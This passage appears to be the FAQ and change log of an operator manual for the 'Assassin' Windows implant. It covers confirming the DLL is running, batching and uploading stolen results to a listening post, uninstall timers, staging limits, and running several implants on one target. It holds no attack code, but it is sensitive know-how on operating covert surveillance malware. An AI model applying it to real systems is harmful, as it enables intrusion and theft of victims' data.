- Run the `get` or `file_walk` commands on the tool's output file or directory.

**How can I tell if the implant DLL is running?**

If the DLL implant is running, the DLL will be present at the configured location on the file system and be undeleteable. If you run `'tasklist /m <DLL name>'`from the command prompt, the module should be present in the appropriate process, typically `svchost.exe`.

**If I put an upload_all at the end of a batch, why don't I get all my results right away?**

All results of a batch are placed in a single result file. When the `upload_all` portion of the batch runs, the file is still open and unfinished, therefore it is not uploaded. Only results in the upload queue that existed prior to the batch execution are uploaded.

In order to immediately receive the results of a batch, run the `task` command with the push run mode flag.

**If I set both an uninstall_timer and an uninstall_date, when will the implant actually uninstall?**

Whichever happens first, the uninstall timer counts down to zero or the uninstall date arrives.

**I ran a command that says it succeeded in the results, but it has a Windows Error Code; did the command actually succeed?**

Yes. The Windows error code is the result of Windows GetLastError function and does not necessarily mean something unexpected happened. If the implant reports success, either the GetLastError result was expected or not critical.

The Windows error code is most useful for determining the cause of a reported failure from the implant.

**I have a large file in the implant output directory that is not being uploaded; why?**

Assassin will not store more than 16,384 files in its staging directory. The combination of a very large file and/or very small chunk size may overflow this directory limit. Assassin will leave the file in the output directory, but it will not process or upload it.

In order to retrieve the file, you can:

- Increase the chunk size such that the file will not overflow the staging directory.
- Manually break up the file such that it will be chunked piecewise.
- Use the `get` command in push mode to manually upload the file to the listening post directly.

**Can I run multiple Assassin Implants on a target at the same time?**

Only one Assassin Implant can run on a target per unique parent ID. If you must run multiple Implants on a single target, make sure they each have different four-byte parent IDs.

**What if an Assassin Implant is started multiple times?**

Assassin is able to detect concurrent instances with the same parent ID. If an Assassin Implant starts and detects that another implant with the same parent ID is running, it will exit.

**How can I export a commonly used task for later use?**

In the `gibson_ui`, execute `task` to create your task. Before committing the task, use the `export_xml` command as follows: `export_xml <xml_filename>` to export the task to xml. You can cancel the task after exporting if you do not want to add it add the time.

The xml file can be imported using the `import_xml` command in the task subshell.

**The post processor is telling me I have gaps in my results; is that bad?**

It depends. It is normal for files to be processed somewhat out of order and transient gaps should be of no concern.

However, if a gap appears and persists over time, it is possible that a chunk has been lost. The chunk may have been dropped by the Transport. If the chunk is unrecoverable, the post processor will never finish the file.

After the post processor finishes processing the current data, the partial file may be viewed within a working sub-directory (`$INSTALL_DIR/.working/post_processor/standalone/in/staging`).

## 20 Change Log

| Date | Change Description | Authorit y |
|---|---|---|
| 01/11/201 2 | Document Initialization | 235567 9 |
| 01/26/201 2 | Removal of Appendix re: PSP Profile | 235567 9 |
| 03/14/201 2 | Update of documentation for 1.1.1 Release | 235567 9 |
| 07/12/201 2 | Update of documentation for 1.2 Release | 235567 9 |
| 01/03/201 3 | Update of documentation for 1.2.1 Release | 235567 9 |
| 06/10/201 3 | Update of documentation for 1.3 Release | 235567 9 |
| 06/02/201 4 | Update of documentation for 1.4 Release | 235567 9 |